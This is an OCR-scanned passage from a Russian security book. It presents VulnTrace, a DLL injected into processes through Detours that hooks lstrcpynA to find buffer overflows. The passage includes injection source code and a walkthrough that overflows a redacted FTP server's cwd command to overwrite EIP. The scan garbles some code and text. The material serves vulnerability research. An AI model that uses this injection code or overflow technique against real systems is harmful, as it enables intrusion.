забывают разработчики систем анализа. Технологии защиты программного обеспечения также становятся серьезным препятствием для анализа статического машинного кода. Во многих схемах защиты задействовано шифрование и/или сжатие секций кода, усложняющее его реконструкцию. Хотя взломщики легко обходят защищенные секции, при использовании автоматизированных технологий защита создает массу проблем. К счастью, большинство схем защиты предназначено для защиты приложений, хранящихся на диске. После того как приложение будет дешифрировано, восстановлено и загружено в адресное пространство, схема защиты практически устраняется. Функции обратного вызова и указатели на функции тоже создают проблемы для анализа машинного кода. Многие из них инициализируются лишь во время работы приложения, а мы можем проследить ход выполнения программы только по обращению к различным iочкам входа Отсутствие инициализированных ссылок создает дополнительные препятствия Итак, мы рассмотрели некоторые проблемы современных систем анализа. Чтобы справиться с ними, попробуем спроектировать собственную систему трассировки
284 Глава 15. Трассировка уязвимостей уязвимостей. В дальнейшем она будет называться VulnTrace (сокращение <г| Vulnerability Tracing, то есть «трассировка уязвимостей»). Система будет имст| ряд ограничений, над преодолением которых еще предстоит потрудиться. И ис< лее хочется верить, что она станет отправной точкой, которая пробудит у читц< теля интерес к технологиям трассировки уязвимостей. Основные компоненты Как и в любом проекте, сначала нужно определить, из каких компонентов будет] состоять проектируемая система. Прежде всего необходимо часто и по возможности непосредственно обращаться к целевому приложению. Так как нам потребуется читать содержимое памяти процесса и передавать управление в наш код, система должна работать в виртуальном адресном пространстве целевого приложения. Для этого мы оформим VulnTrace в виде библиотеки DLL и внедрим ее в целевой процесс. Находясь внутри адресного пространства целевого приложения, VulnTrace сможет отслеживать работу приложения и легко изменять режим своей работы. Также потребуется возможность анализировать загруженные модули па предмет потенциальных уязвимостей, таких, как аномальное или небезопасное использование различных функций. Эти функции могут импортироваться, компоноваться статически или реализовываться в виде подставляемых (inlined) функций, поэтому для их поиска потребуется определенная степень анализа машинного кода. И еще. Необходима возможность перехватывать выполнение различных функций, чтобы программа VulnTrace могла изучить их аргументы. Для этого будет использована методика перехвата (hooking), то есть замены функций других библиотек DLL функциями наших библиотек. Наконец, собранную информацию необходимо каким-то образом передать аналитику, поэтому необходимо реализовать какой-то механизм доставки. В нашем примере будет использована система отладочных сообщений операционной системы Windows; для передачи сообщения достаточно одного вызова функции API. Для получения сообщений будет использоваться Microsoft Detours (см. далее) — бесплатная программа, доступная в Интернете. Итак, система VulnTrace на данный момент состоит из компонентов: о внедрения в адресное пространство процесса; о анализа машинного кода; о перехвата функций; о сбора и доставки данных. Сейчас мы подробно рассмотрим структуру и характеристики каждого компонента, а потом объединим их в программу трассировки уязвимостей. Внедрение в адресное пространство процесса Программа VulnTrace должна перенаправлять целевую программу в управляемую область, в которой анализируется поведение уязвимых функций. Также
Основные компоненты 285 потребуется частый просмотр состояния адресного пространства целевого процесса. Все это можно было бы сделать во внешнем процессе, но тогда придется разрабатывать специальную схему для разделения адресных пространств двух процессов. Существует гораздо более удобное и надежное решение: ввести код и адресное пространство целевого приложения. Мы воспользуемся пакетом Detours с сайта Microsoft Research (http://research.microsoft.com/sn/detours). Пакет содержит много полезных функций и примеров кода, позволяющих быстро м легко разрабатывать системы трассировки. Систему VulnTrace можно оформить в виде DLL и загрузить в целевой процесс средствами Detours API. Если вы захотите написать собственную функцию для загрузки библиотеки в адресное пространство целевого процесса, это делается 1лк: 1. Выделите страницу в процессе при помощи функции VirtualAUocEx. 2. Скопируйте аргументы, необходимые для вызова функции toad Library. Л. Вызовите функцию Load Library внутри процесса, используя функцию Create- RemoteThread с указанием адресов аргументов в адресном пространстве процесса. Анализ машинного кода Нам потребуется найти каждый экземпляр каждой отслеживаемой функции; следует помнить, что в нескольких модулях могут существовать разные версии одной функции. Функции, представляющие для нас интерес, вводятся в адресное пространство процесса по одной из нескольких схем. Статическая компоновка Многие компиляторы содержат собственные версии стандартных функций времени исполнения. Если компилятор обнаруживает факт использования такой функции, он может встроить в целевое приложение собственную версию функции. Например, при разработке программы, вызывающей функцию strncpy, Microsoft Visual C++ подключает к приложению собственную версию strncpy с применением статической компоновки. Далее приводится фрагмент ассемблерного кода простой программы, в которой функция main вызывает функцию check_usemame, после чего вызывается функция strncpy. Так как функция strncpy доступна для компилятора в одной из библиотек времени исполнения, она была скомпонована в приложении сразу же за функцией main. Когда функция check_username вызывает функцию strncpy, управление передастся прямо в функцию strncpy, расположенную по виртуальному адресу 0x00401030. В левом столбце указаны виртуальные адреса функций, отображаемых справа. check_username ebp ebp.esp esp.lOh OFh eax.[buffer] dword ptr [username] 00401000 00401001 00401003 00401006 00401008 0040100B push mov sub push lea push
286 Глава 15. Трассировка уизьимостей 0040100L 0040100F 00401014 00401017 00401019 0040101А main. 0040101В 00401020 00401025 00401026 00401028 00401029 0040102А 0040102В 0040102С 0040102D 0040102Е 0040102F strncpy • 00401030 00401034 00401035 00401037 00401039 0040103А 0040103В 0040103D 00401041 00401047 0040104В 0040104D push call add xor leave ret push call pop jmp int int int int int int int int mov push test je push push mov mov test mov jne shr eax _strncpy @0401030) esp.OCh eax,eax offset string "test" @0407030) check_username @0401000) ecx main @040101b) 3 3 3 3 3 3 3 3 ecx, dword ptr [esp+OCh] edi ecx,ecx _strncpy+83h @04010b3) esi ebx ebx.ecx esi.dword ptr [esp+14h] esi,3 edi,dword ptr [esp+lOh] _strncpy+24h @0401054) ecx.2 Если мы хотим перехватить статически скомпонованные уязвимые функции, придется создавать опознавательную сигнатуру (fingerprint) для каждой такой функции. Эта сигнатура будет использоваться для сканирования кода каждого модуля в адресном пространстве и поиска статически скомпонованных функций. Импорт Во многих операционных системах предусмотрена поддержка динамических библиотек — гибкой альтернативы библиотек статических. Когда разработчик использует в программе функции, которые заведомо должны существовать во внешнем модуле, компилятор включает в программу соответствующие зависимости. Для этого в образ программы встраиваются таблицы импорта — структуры данных, анализируемые системным загрузчиком во время загрузки. Каждая запись таблицы импорта задает модуль, который необходимо загрузить. Для каждого модуля задается список импортируемых функций. Во время загрузки адрес каждой функции сохраняется в таблице IAT (Import Address Table), находящейся в импортирующем модуле или программе. Следующая программа содержит одну функцию check_username, которая использует импортируемую функцию IstrcpynA. Когда функция check_username
Основные компоненты 287 достигает команды вызова по виртуальному адресу 0x0040100F, управление передастся в позицию, хранящуюся по адресу 0х0040604С. Этот адрес соответствует записи таблицы IAT нашей уязвимой программы и представляет точку входа функции IstrcpynA. check username. 00401000 00401001 00401003 00401006 00401008 0040100В 0040100Е 0040100F 00401015 00401017 00401018 main 00401019 0040101Е 00401023 00401024 push mov sub push lea push push call ХОГ leave ret push call pop jmp ebp ebp.esp esp.lOh 20h eax,[buffer] dword ptr [username] eax dword ptr [_imp_lstrcpynA(ai2 @040604c eax,eax offset string "test" @0407030) check_username @0401000) ecx main @0401019) Далее приводится копия таблицы IAT пашей уязвимой программы. В ней присутствует адрес, указанный в команде вызова внутри функции check_username. Offset Entry Point <--Адрес точки входа IstrcpynA < -Точки входа других импортируемых функций 0040604С 7C4EFA6D 00406050 7C4F4567 00406054 7C4FAE05 00406058 7C4FE2DC 0040605С 77FCC7D3 Как видно из листинга, в записи 0x7C4EFA6D таблицы 1АТ действительно указан адрес точки входа IstrcpynA. _lstrcpynA@12 7C4EFA6D push ebp 7C4EFA6E mov ebp.esp 7C4EFA70 push OFFh Существует несколько способов перехвата импортированных функций. Можно изменить адреса в таблице 1АТ целевого модуля, чтобы они указывали па наши функции-перехватчики. Это позволит отслеживать обращение к интересующим нас функциям только в пределах некоюрого модуля. Если мы хотим отслеживать все обращения к функции независимо от модуля, молено временно изменить код самой функции и вставить в ее начало команду передачи управления. Подстановка Многие компиляторы предлагают разработчикам различные варианты оптимизации программного кода. Код простых функций вроде strcpy, strLen и т. д. часто встраивается прямо в функцию, в которой он используется, в отличие от статической компоновки или импорта. Подстановка кода функции существенно повышает скорость работы приложения.
288 Глава 15. Трассировка уизиимостей В следующем примере демонстрируется подстановка функции strlen компиля»: тором Microsoft Visual C++. В этом примере адрес строки, длину которой требуется проверить, заносится в стек, после чего вызывается статически скомпонованная версия strlen. При возврате программа корректирует указатель CTei<af освобождает ранее переданный аргумент и сохраняет в переменной длину, возвращенную функцией strlen. Версия без оптимизации: 00401006 mov eax.dword ptr [buffer] 00401009 push eax 0040100A call _strlen @04010d0) 0040100F add esp.4 00401012 mov dword ptr [length],eax Ниже приведена версия strlen с подстановкой. Для ее создания среда разработки была переключена в режим Release Mode. Как видно из листинга, функция strlen уже не вызывается. Вместо этого ее функциональность была реализована непосредственно в коде. Программа обнуляет регистр ЕАХ и сканирует строку, на которую ссылается регистр EDI, в поисках нулевого байта. После обнаружения нулевого байта счетчик сохраняется в указанной переменной. Версия с оптимизацией: 00401007 mov edi,dword ptr [buffer] 0040100A or ecx.OFFFFFFFFh 0040100D xor eax.eax 0040100F repne seas byte ptr [edi] 00401011 not ecx 00401013 add ecx.OFFFFFFFFh 00401016 mov dword ptr [length].ecx Чтобы отслеживать вызовы подставляемых функций, можно установить контрольные точки, следить за исключениями и собирать информацию из контекстных структур. Перехватчики Итак, мы выяснили, как идентифицировать различные типы функций. А как организовать сбор информации об их вызовах? В нашем решении будет использоваться механизм перехвата пролога. Для читателей, незнакомых со схемами перехвата, приводится краткий обзор стандартных методов перехвата. Перехват импорта Самым распространенным методом перехвата является перехват импорта (import hooking). В каждом загруженном модуле присутствует таблица импорта, которая обрабатывается при загрузке модуля в виртуальное адресное пространство целевого процесса. Для каждой функции, импортированной из внешнего модуля, создается запись в таблице IAT. При вызове импортированной функции из загруженного модуля управление передается по адресу из таблицы IAT. На рис. 15.1 показаны два модуля, вызывающие функцию IstrcpynA из модуля kernel32. При вызове функции IstrcpynA управление передается по адресу, указанному в таблице IAT нашего модуля. Когда функция IstrcpynA завершает ра-
Основные компоненты 289 (югу, управление возвращается в модуль, из которого была вызвана функция IstrcpynA. Целевой модуль (Vuln.exe) Вызов Istrncpy - Ч Возврат — Kernel32.dll Вызов Возврат IstmcpynA I I t User32.dll Рис. 15.1. Обычная передача управления в уязвимой программе Для перехвата вызова импортированной функции адрес в таблице IAT заменяется адресом кода, которому передается управление. Поскольку каждый модуль содержит собственную таблицу IAT, необходимо заменить адрес точки входа IstrcpynA в таблицах IAT каждого отслеживаемого модуля. На рис. 15.2 были заменены адреса точки входа IstrcpynA в записях IAT как модуля user32.dll, так и модуля vuln.exe. Каждый раз, когда в этих модулях вызывается функция IstrcpynA, управление передается по указанному в таблице IAT адресу. Л Целевой модуль (Vuln.exe) s J Ч- Вызов Istrncpy -- Возврат -- -> Is Kernel32.dll ^ ) А i i Вызов Возврг trncpynA ; Т ат \ Вызов Istrncpy \ \ Возврат VulnTrace dll Функция vtJstrcpynA / Вызов Istrncpy / / Возврат User32.dll Рис. 15.2. Передача управления после модификации таблиц импорта Функция просто анализирует параметры, переданные при исходном вызове IstrcpynA, и возвращает управление вызвавшей функции. Этот новый адрес принадлежит функции vt_LstrcpynA, находящейся в модуле VulnTrace.dll. Перехват пролога При перехвате импорта мы модифицировали записи IAT во всех модулях, импортирующих отслеживаемую функцию. Ранее уже упоминалось, что перехват
290 Глава 15. Трассировка уязвимостей импорта эффективен только при отслеживании вызовов функций из заранее известных модулей. Если требуется отслеживать все вызовы независимо oij того, откуда была вызвана функция, перехватчик можно включить прямо в ko/J отслеживаемой функции. Для этого во вводную часть отслеживаемой функций вставляется команда jmp с указанием адреса кода, которому передается унраи* ление. Схема перехвата пролога позволяет отслеживать любые вызовы конкретной функции, откуда бы они ни поступили. На рис. 15.3 показаны вызовы функции IstrcpynA, находящейся в модуле kemel32, из двух разных модулей. Целевой модуль (Vuln.exe) - Вызов Istrncpy - \ Возврат Вызов vtJstrcpynA Kernel32.dll Вызов IstrncpynA VulnTrace.dll Функция: vtJstrcpynA Рис. 15.3. Передача управления после модификации пролога функции IstrcpynA в загруженном модуле kernel32.dll В начале выполнения функции IstrcpynA управление передается но адресу, указанному в таблице IAT нашего модуля. Но вместо стандартного выполнения кода IstrcpynA управление передается вставленной команде jmp. Программа переходит в новую функцию vtJstrcpynA, находящуюся в модуле VulnTrace.dll. Эта функция анализирует параметры, переданные при исходном вызове, и затем возвращает управление «оригиналу» IstrcpynA. Для реализации этой схемы можно воспользоваться функцией DetourFunction- WithTramporine из Detours API. Далее в этой главе будет приведен пример практического применения интерфейса Detours API для перехвата прологов отслеживаемых функций. Перехват эпилога Метод перехвата эпилога имеет много общего с перехватом пролога. Принципиальное отличие заключается в том, что управление передается после выполнения функции, но до возврата из псе. Такая схема позволяет проанализировать результаты выполнения функции. Например, чтобы узнать, какие данные
Разработка VulnTrace 291 (М.1./Ш получены в результате вызова сетевой функции, необходимо воспользо- илгьея перехватом эпилога. Сбор данных 11так, отслеживаемая функция успешно выбрана, и все готово к установке перечни гчика. Остается решить, куда следует временно передать управление. Наше приложение VulnTrace будет перехватывать функцию IstrcpynA и передавать управление другой функции, предназначенной для сбора информации об аргументах исходного вызова IstrcpynA. Получив управление, эта функция определяет значения аргументов и передает их при помощи функции OutputDebug- String подсистеме отладки Microsoft. Для просмотра сообщений, выданных иро- i раммой VulnTrace, можно воспользоваться утилитой DebugView с сайта www. sysinternals.com. В следующем листинге приведен код функции-заменителя vt_LstrcpynA: char *vt_lstrcpynA (char *dest.char *source,int maxlen) { char dbgmsg[1024]; LPTSTR retval, _snprintf(dbgmsg, sizeof(dbgmsg). "[VulnTrace] lstrcpynA@x*08x. %s, *d)\n". dest,source, maxlen); dbgmsg[sizeof(dbgmsg)-l] = 0, OutputDebugString(dbgmsg), retval = real_lstrcpynA(dest, source, maxlen); return(retval), } Когда уязвимая программа vuln.exe вызывает IstrcpynA, управление передается vt_lstrcpynA. Для передачи информации об аргументах, указанных при вызове IstrcpynA, используются средства отладочной подсистемы. Разработка VulnTrace Для разработки и использования программы VulnTrace потребуются следующие приложения: о Microsoft Visual C++ 6.0 (или любой компилятор Windows C/C++); о Detours (http://research.microsoft.com); о DebugView (www.sysinternals.com). В нескольких ближайших подразделах описаны все основные компоненты системы отслеживания уязвимостей. Они будут использоваться для выявления уязвимости переполнения буфера в программе, представленной в начале главы. VTInject Следующая программа внедряет VulnTrace в адресное пространство анализируемого процесса. Откомпилируйте ее в виде исполняемого файла (VTInject.exe).
292 Глава 15. Трассировка уизвимостей Не забудьте включить заголовочный файл Detours, а также включить библиц) теку Detours (detours.lib) на стадии компоновки. Программе VTInject передает| ся единственный аргумент — идентификатор процесса (PID). VTInject загру1 жает VulnTrace.dll из текущего каталога в целевой процесс. Проследите за теМ чтобы откомпилированная библиотека VultTrace.dll (исходный текст приводите! далее) находилась в одном каталоге с файлом VTInject.exe. VTInject.ерр Программа VTInject изменяет привилегии текущего процесса, чтобы он мог обращаться к процессам, работающим с привилегиями LOCALSYSTEM После корректировки привилегий VTInject открывает идентификатор целевого процесса (PID) и загружает VulnTrace.DLL в процесс. \**********************************^ #include <stdio.h> #include <windows.h> #include "detours h" #define DLLNAME "\\Vu1nTrace.dll" int CDECL inject_dll(DWORD nProcessId, char *szDHPath) { HANDLE token; TOKEN_PRIVILEGES tkp. HANDLE hProc; if(OpenProcessToken( GetCurrentProcessO. TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) == FALSE) { fprintf(stderr. "OpenProcessToken Failed- ОхШп", GetLastEr-rorO), return(-l). } i f(LookupPrivi1egeValue( NULL, "SeDebugPrivilege". &tkp Privileges[0] Luid) == FALSE) { fprintf(stderr. "LookupPrivilegeValue failed* ОхШп", GetLas-tErrorO), return(-l), } tkp PnvilegeCount = 1. tkp Privileges[0] Attributes = SE_PRIVILEGE_ENABLED, if(AdjustTokenPrivileges(token, FALSE. &tkp. 0. NULL. NULL) == FALSE) { fpnntf(stderr, "AdjustTokenPnvileges Failed- ОхШп",
Разработка VulnTrace 293 GetLastErrorO); return(-l). } CloseHandle(token); hProc = OpenProcess(PROCESS_ALL_ACCESS. FALSE. nProcessId). if (hProc == NULL) { fprintf(stderr. "[VTInject]: OpenProcessUd) failed- Sd\n\ nProcessId. GetLastErrorO); return(-l). } fpnntf(stderr. "[VTInject]- Loading %s into %6 \n". szDllPath. nProcessId); fflush(stdout). if (!DetourContinueProcessWithDllA(hProc, szDllPath)) { fpnntf(stderr. "DetourContinueProcessWithDHUs) failed. %ti". szDllPath. GetLastErrorO). return(-l). } return(O); } int maindnt argc. char **argv) { char path[1024]. int pi en. if(argc'= 2) { fprintf(stderr. "\n-= VulnTrace =-\n\n" "\tUsage %s <process_id>\n\n" .argv[0]). return(-l).
294 Глава 15. Трассировка уязвимостей plen = GetCurrentDirectory(sizeof(path)-1, path): strncat(path. DLLNAME. (sizeof(path)-plen)-l), if(inject_dll(atoi(argv[l]), path)) { fprintf(stderr\ "Injection Failed\n"). return(-l); } return(O); }: VulnTrace.dll В следующей библиотеке собраны упомянутые ранее компоненты. Библиотека позволяет отслеживать вызовы функции IstrcpynA, используемой нашим приложением. Откомпилируйте ее в формат DLL и внедрите в адресное пространство уязвимой программы при помощи VTInject. /* * VulnTrace cpp */ #include "stdafx h" #include <windows h> #include <stdio h> #include "detours h" DWORD get_mem_size(char *block) { DWORD fnum=0. memsize=0, *frame_ptr=NULL. *prev_frame_ptr=NULL, *stack_base=NULL, *stack_top=NULL. asm mov eax. dword ptr fs.[4] asm mov stack_base. eax asm mov eax, dword ptr fs [8] asm mov stack_top, eax _asm mov frame_ptr. ebp if( block < (char *)stack_base && block > (char *)stack_top) for(fnum=0,fnum<=5.fnum++) { if( frame ptr < (DWORD *)stack base && frame ptr > stack top) { " prev_frame_ptr = (DWORD *)*frame_ptr, if( prev_frame_ptr < stack base && prev framejrtr > stack top) { if(frame_ptr < ( DWORD *)block && (DWORD *)block < prev_frame_ptr) { memsize = (DWORD)prev_frame_ptr - (DWORD)block, break, \
Разработка VulnTrace 295 else frame_ptr = prev_frame_ptr; } } } return(memsize), DETOUR_TRAMPOLINE(char * WINAPI real_lstrcpynA( char *dest,char *source,int maxlen), IstrcpynA). char * WINAPI vtJstrcpynA (char *dest,char *source.int maxlen) { char dbgmsg[1024]. LPTSTR retval; _snpnntf(dbgmsg. sizeof(dbgmsg). "[VulnTrace] lstrcpynA@xU08x-[?d]. %s, %d)\n".dest.get_mem_size(dest), source, max-len). dbgmsg[sizeof(dbgmsg)-l] = 0. OutputDebugString(dbgmsg), retval = real_lstrcpynA(dest, source, maxlen), return(retval). } BOOL APIENTRY DllMain( HANDLE hModule. DWORD ul_reason_for_cal1. LPVOID IpReserved ) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { DetourFunctionWithTrampol i ne( (PBYTE)realJstrcpynA. (PBYTE)vtJstrcpynA). } else if (ul_reason_for_call == DLL_PROCESS_DETACH) { OutputDebugString("[*] Unloading VulnTrace\n"). } return TRUE. } Откомпилируйте VTInject и уязвимую программу в формате исполняемых файлов. Откомпилируйте VulnTrace в формате DLL и поместите полученный файл в один каталог с исполняемым файлом VTInject. Затем запустите уязвимую программу и DebugView. Включите в DcbugVicw фильтрацию отладочных сообщений, чтобы программа отображала только сообщения, поступившие от VulnTrace. Для эгого нажмите клавиши Ctrl+L и введите строку VulnTrace. Когда
296 Глава 15. Трассировка уязвимостей все будет готово, запустите VTInject и передайте идентификатор уязвимого процесса. В DebugView должны появиться следующие сообщения: [2864] [VulnTrace]: [2864] [VulnTrace]' [2864] [VulnTrace]: lstrcpynA@x00112FF68-[16]. test. 32) lstrcpynA@x00112FF68-[16]. test. 32) lstrcpynA@x00112FF68 [16]. test. 32) В сообщении выводятся аргументы, переданные при вызове IstrcpynA. Первый параметр указывает адрес и размер приемного буфера. Второй параметр опрсн деляет исходный буфер, который будет скопирован в приемник. Третий и по J следний параметр определяет максимально допустимый размер данных, koiihi руемых в приемный буфер. Обратите внимание на число справа от первого! параметра — это прогнозируемый размер приемного буфера. Он вычисляется на основе простых вычислений: программа определяет, в каком кадре стека находится буфер, и оценивает расстояние переменной от основания кадра. Если объем переданных данных превышает расстояние между адресом переменной и базой указателя кадра, данные перейдут на значения ЕВР и EIP, использованные предыдущим кадром. Программа VulnTrace Давайте опробуем нашу простейшую систему трассировки на полноценном программном продукте. В следующем примере будет использоваться популярный FTP-сервер для Windows (имена каталогов изменены). После установки программы и запуска службы мы внедрили библиотеку VulnTrace.dll в процесс, запустили DebugView и отфильтровали все сообщения, не содержащие строки VulnTrace. Фильтрация необходима из-за обилия отладочных сообщений от других служб. Сеанс был начат подключением к FTP-серверу через telnet. Сразу же после подключения появились следующие сообщения. ПРИМЕЧАНИЕ В представленном далее примере был обнаружен ряд уязвимостей. Поскольку фирма-разработчик не имела возможности устранить дефекты до издания книги, конфиденциальные данные были заменены пометкой [удалено]. [2384] [2384] [2384] [2384] [2384] [2384] [23841 [2384] [2384] [2384] [2384] [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace]. [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace] lstrcpynA@x00dc6e58 [0]. Session, 256) lstrcpyA@x00dc9050 [0]. 0) lstrcpynA@x00dc90f0 [0], 192 168 X X. 256) lstrcpynA@x0152ebc4 [1624], 192 168 X X, 256) lstrcpyA@x0152e93c.[260]. ) lstrcpynA@x00dc91f8 [0]. 192 168 X X. 20) lstrcpynA@x00dc91f8 [0], 192 168 X X, 20) lstrcpyA@x00dc930d [0]. С \[удалено]) lstrcpynA@x00dc90f0 [0]. [удалено], 256) lstrcpyA@x00dc930d [0]. С \[удалено]) lstrcpyA@x00dd3810 [0]. 27)
|?384] [VulnlYdce] lstrcpyA@x00dd3810 LO]. 21) 12384] [VulnTrace] lstrcpyA@x0152e9cc-[292], С 12384] [VulnTrace]- lstrcpynA@x00dd4ee0 [0]. С [2384] [VulnTrace]- lstrcpynA@x00dd4ca0:[0]. С 12384] [VulnTrace] lstrcpyA@x00dd4da8-[0]. C:\ 12384] [VulnTrace]. lstrcpyA@x0152ee20 [1048]. [2384] [VulnTrace]. 1strcpyA@x0152daec.[4100], [2384] [VulnTrace]: lstrcpyA@x0152e8e4:[516]. С [2384] [VulnTrace] lstrcpyA@x0152a8a4 [4100]. \[удалено]) \[удалено]], 256) \[удалено]], 256) [удалено]\]) С.\[удалено]\]) 220-[удалено]) •\[удалено]\) 220 [удалено]) I \л листинга видно, что программа сохраняет IP-адрес и передает его при вызо- ис Вероятно, это делает подсистема ведения журнала или система управления доступом на базе сетевых адресов. Все упоминаемые пути относятся к файлам конфигурации сервера — передаваемые данные нам неподвластны. Гледующим шагом должен был стать анализ функций авторизации, поэтому мы отправили серверу строку user test (предварительно была создана учетная запись с именем test): lstrcpynA@x00dc7830 [0]. lstrcpynA@x00dd4920-[0], lstrcpynA@x00dd4a40 [0]. lstrcpynA@x00dd4abl-[0], lstrcpynA@x00dd4ca0 [0]. [2384] [2384] [2384] [2384] [2384] [2384] [2384] [VulnTrace]. [VulnTrace] [VulnTrace]- [VulnTrace] [VulnTrace] [VulnTrace]: [VulnTrace] test. 310) test. 256) test. 81) С \[yflaneHO]\user\test. С \[удалено]\изегие$^ 257) 256) lstrcpyA@x00dd4da8:[0], С:\[удалено]\и5егие5^ lstrcpyA@x0152c'90 [4100]. 331 Password required Это уже интереснее — мы видим, что содержимое буфера с именем пользователя копируется в буфер, не находящийся в стеке. Было бы неплохо включить в программу оценку размера буфера в куче. Можно бы вернуться и реализовать ее, но давайте посмотрим, не найдется ли чего-нибудь более перспективного. Далее происходит передача пароля с использованием стандартных средств протокола FTP: [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [2384] [VulnTrace] [VulnTrace]- [VulnTrace]- [VulnTrace] [VulnTrace] [VulnTrace]: [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace]: [VulnTrace]: [VulnTrace] [VulnTrace] [VulnTrace] [VulnTrace]: [VulnTrace] [VulnTrace] [VulnTrace] strcpyA@x00dd3810 strcpyA@x00dd3810 strcpynA@x0152e9e8 strcpyA@x00dc7830- strcpyA@x0152ee00: strcpyA@x0152e990: strcpyA@x0152el38. strcpynA@x00dd4640 strcpynA@x00dd4760 strcpynA@x00dd47dl strcpyA@x0152ee00: strcpyA@x0152e41c: strcpynA@x00dd4ca0 strcpyA@x00dd4da8 strcpynA@x0152cdc9 strcpyA@x0152ecc8: strcpyA@x0152ee00 strcpyA@x0152ebc0 strcpyA@x0152ab80 [0]. 27) [0] . 27) [288]. test. 256) [0]. test) [1028]. С \[удалено]) [1028], /user/test) [1024], test) [0]. test. 256) [0]. test. 81) [0]. С \b^eHo]\user\test. 257) [1028], С:\[удалено] \user\test) [280], С:/[удалено] /user/test ) [0]. С /[удаленс^/user/test. 256) [0]. С /[удаленсО/user/test) [4071]. [удалено] logon successful) [256], С:\[удалено]\и$егиез1) [1028]. С \[удалено]) [516]. С \[удалено]\\^е1соше txt) [4100]. 230 user logged in) Кажется, мы видим несколько вызовов, которые могут создать уязвимости. К сожалению, сейчас под нашим контролем находится только имя пользователя; вероятно, при вводе недействительного имени получить доступ к потенциально
— ww i лета и, I рниСИрОВКВ уЯППИМОСТеЙ уязвимым вызовам не удастся. Просто запомним подозрительные вызовы и продолжим работу. На следующем шаге проверим, как реализовано отображение виртуальных каталогов на физические. Попробуем сменить текущий рабочий каталог FTP-командой cwd eeye2003: [2384] [VulnTrace] IstrcpyACOx0152eaOO• [2052]. user/test) [2384] [VulnTrace]- lstrcpynA@x0152e2d0.[1552], eeye2003, 1437) [2384] [VulnTrace]: lstrcpyA@x00dc8b0c[0], user/test/eeye2003) [2384] [VulnTrace]. lstrcpyA@x0152ee00.[1028], С \[удалено]) [2384] [VulnTrace]: 1strcpyA@x0152dc54:[1024], test/eeye2003) [2384] [VulnTrace] lstrcpynA@x00dd4640:[0]. test, 256) [2384] [VulnTrace] lstrcpynA@x00dd4760 [0], test. 81) [2384] [VulnTrace]- lstrcpynA@x00dd47dl.[0]. С \[yflaneHO]\user\test,257) [2384] [VulnTrace]- lstrcpynA@x00dd46c0-[0]. eeye2003. 256) [2364] [VulnTrace]: 1strcpyA@x0152ee00:[1028], Ci\[удалено]\user\test\eeye2003) [2384] [VulnTrace]- lstrcpyA@x0152b8cc-[4100]. 550 eeye2003 folder doesn't exist Место выглядит перспективно — в нескольких вызовах присутствуют признаки уязвимости. Данные, передаваемые при вызове функций, находятся под нашим контролем, потому что каталог ееуе2003 в действительности не существует. Самый большой из статических буферов имеет размер 2052 байта, самый маленький — 1024 байта. Начнем с малого и будем постепенно продвигаться в сторону увеличения. Итак, размер первого буфера составляет 1024 байта — это расстояние буфера от базы кадра в стеке. Передавая значение 1032, мы сможем заменить сохраненные значения ЕВР и EIP: [2384] [VulnTrace]: lstrcpyA@x0152ea00 [2052]. user/test) [2384] [VulnTrace]- lstrcpynA@x0152e2d0 [1552]. eeye2003. 1437) [2384] [VulnTrace]- lstrcpyA@x00dcSb0c [0]. user/test/eeye2003) [2384] [VulnTrace]- lstrcpyA@x0152ee00 [1028]. С \[удалено]) [2384] [VulnTrace] lstrcpyA@x0152ee00 [1028J.C \ [удалено]\и5егие$ШАААААААААААААААААААААААААААААААААААААААААААААААААААААА AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) После выдачи последнего сообщения программа VulnTrace перестала поставлять сообщения в DebugView. Вероятно, это объясняется тем фактом, что мы изменили часть кадра стека, а именно сохраненные значения ЕВР и EIP от предыдущей функции. К процессу сервера был подключен отладчик, и вся процедура повторилась без загрузки VulnTrace. Так была обнаружена реальная уязвимость переполнения буфера: ЕАХ = 00000000 ЕВХ = 00DD3050 ЕСХ = 41414141 EDX = 00463730 ESI = 00DD3050 EDI = 00130178 EIP = 41414141 ESP = 013DE060 ЕВР = 41414141 EFL = 00010212
Дополни шльныо приемы трассировки 299 Как видите, были заменены сохраненные значения ЕВР и EIP, а также локальная переменная, загруженная в ЕСХ. Нападающий мог бы изменить имя файла, включив в него внедряемый код и несколько адресов, и взять уязвимый FTP- еервер под свой контроль. Итак, мы убедились, что описанная технология может использоваться для поиска уязвимостей в простых программных продуктах. Какие усовершенствования нужно внести в программу трассировки, чтобы она находила дефекты в бо- /iee защищенных программах? Для этого нужно познакомиться с некоторыми дополнительными приемами. Дополнительные приемы трассировки Сигнатурный поиск Функции со статической компоновкой не экспортируют свои адреса во внешние модули, поэтому найти их каким-нибудь простым способом не удастся. Для поиска функций со статической компоновкой необходимо разработать компонент анализа машинного кода, который бы идентифицировал уязвимые функции по опознавательным сигнатурам. От выбора сигнатуры будет напрямую зависеть способность идентифицировать отслеживаемые функции. Мы решили остановиться на комбинации контрольных сумм CRC-32 с системой сигнатур переменной длины, не превышающей 64 байт. Контрольная сумма всего лишь служит средством предварительного обнаружения искомых функций. Мы вычисляем контрольную сумму первых 16 байт анализируемой функции; чем «дальше» мы зайдем в функцию, тем выше вероятность ошибки из-за динамической природы функции. Вычисление контрольной суммы обеспечивает некоторый выигрыш в производительности, поскольку сравнение контрольных сумм производится значительно быстрее, чем побайтовое сравнение с каждой сигнатурой в нашей базе данных. Так как для разных функций могут быть сгенерированы одинаковые контрольные суммы, на втором шаге выполняется прямое сравнение сигнатур. Тем самым мы убеждаемся в том, что найденная последовательность байтов в самом деле совпадает с сигнатурой искомой функции. В случае полного совпадения можно вставлять перехватчик и приступать к отслеживанию найденной функции со статической компоновкой. Также следует упомянуть, чю при наличии прямых ссылок па память в анализируемой последовательности байтов сигнатурный поиск может завершиться неудачей. Неудача возможна и в том случае, если 